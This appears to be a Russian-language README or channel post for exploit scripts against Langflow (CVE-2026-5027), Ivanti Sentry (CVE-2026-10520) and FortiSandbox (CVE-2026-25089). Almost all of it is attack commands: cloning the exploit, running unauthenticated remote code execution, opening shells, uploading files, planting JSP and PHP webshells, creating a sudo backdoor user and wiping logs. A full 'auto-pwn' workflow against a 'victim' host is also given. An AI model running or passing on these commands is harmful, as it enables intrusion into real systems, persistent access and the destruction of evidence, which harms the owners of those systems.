Эксплоит для (CVE-2026-5027), (CVE-2026-10520) и (CVE-2026-25089):

Clone

git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

Использование (файл exploit.py)

Автоматическое тестирование и эксплуатация.

python3 exploit.py -u https://target.com

Пользовательские настройки CLI

Используйте свой собственный веб-шелл, когда шелл находится внутри папки:

python3 exploit.py -u https://target.com --shell

(📁shells/my-shell.php)

Когда шелл находится в папке инструмента или в текущей директории (без вложенной папки):

python3 exploit.py -u https://target.com --shell my-shell.php

Ваш веб-шелл может быть (PHP, Python (CGI), Perl, Ruby, ASPX).

Вы можете задать таймаут с помощью --t и загрузить/использовать payload или пользовательский путь из папок и файлов с помощью --p:

python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

Пример:

python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

Использование (файл exploitt.py)

Предназначен для следующих CVE:

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

Удалённое выполнение кода без аутентификации

Учетные данные не требуются.

📖 Использование

Быстрый старт - интерактивное меню (без аргументов)

python3 exploitt.py

Затем следуйте подсказкам:

1. Выберите тип цели (Ivanti или Forti)

Введите URL цели (например, https://192.168.1.100:8443)
Задайте таймаут, прокси, режим отладки
Выберите действие (команда, шелл, веб-шелл и т. д.)

Командная строка (продвинутый режим)

1. Ivanti Sentry (CVE-2026-10520)

# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean

2. FortiSandbox (CVE-2026-25089)

# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt

# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w

# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean

3. Автоопределение (скрипт угадывает службу)

python3 exploitt.py -u https://target.example.com -c "id"

4. Использование прокси и отладки

python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

Доступные аргументы командной строки

Команды интерактивного шелла

Внутри интерактивного шелла вы можете использовать:

Команда	Пример	Описание
обычная команда	id	Выполнить любую системную команду
upload	upload exploit.sh /tmp/backdoor.sh	Загрузить локальный файл на удалённый хост
exit	exit	Выйти из шелла

Детали развёртывания веб-шелла

· Ivanti Sentry – развёртывает .jsp шелл внутри Tomcat webapps (/usr/local/tomcat/webapps/ROOT/) · Доступ через https://target/shell_random.jsp?cmd=whoami · FortiSandbox – развёртывает .php шелл в веб-корне (/var/www/html/) · Доступ через https://target/shell_random.php?cmd=whoami

Пример рабочего процесса (полное тестирование на проникновение)

# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. Inside the shell, check privileges
id

# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

От Telegram-канала Red:

https://t.me/Red_Rooted_Ghost

-u, --url	Целевой URL (например, https://192.168.1.100:8443)
--type	Принудительно задать службу: ivanti или forti (необязательно, автоопределение)
-t, --timeout	Таймаут запроса в секундах (по умолчанию 30)
--proxy	HTTP/HTTPS прокси (например, http://127.0.0.1:8080)
-d, --debug	Включить вывод отладочной информации
--ua	Пользовательская строка User-Agent
-c, --cmd	Выполнить одну команду и выйти
-s, --shell	Запустить интерактивный шелл
-w, --webshell	Развернуть веб-шелл (PHP для Forti, JSP для Ivanti)
-p, --persist	Создать постоянного пользователя-бэкдор с правами sudo
--clean	Стереть логи и историю команд после эксплуатации

Популярное

CVE-2026-5027-Langflow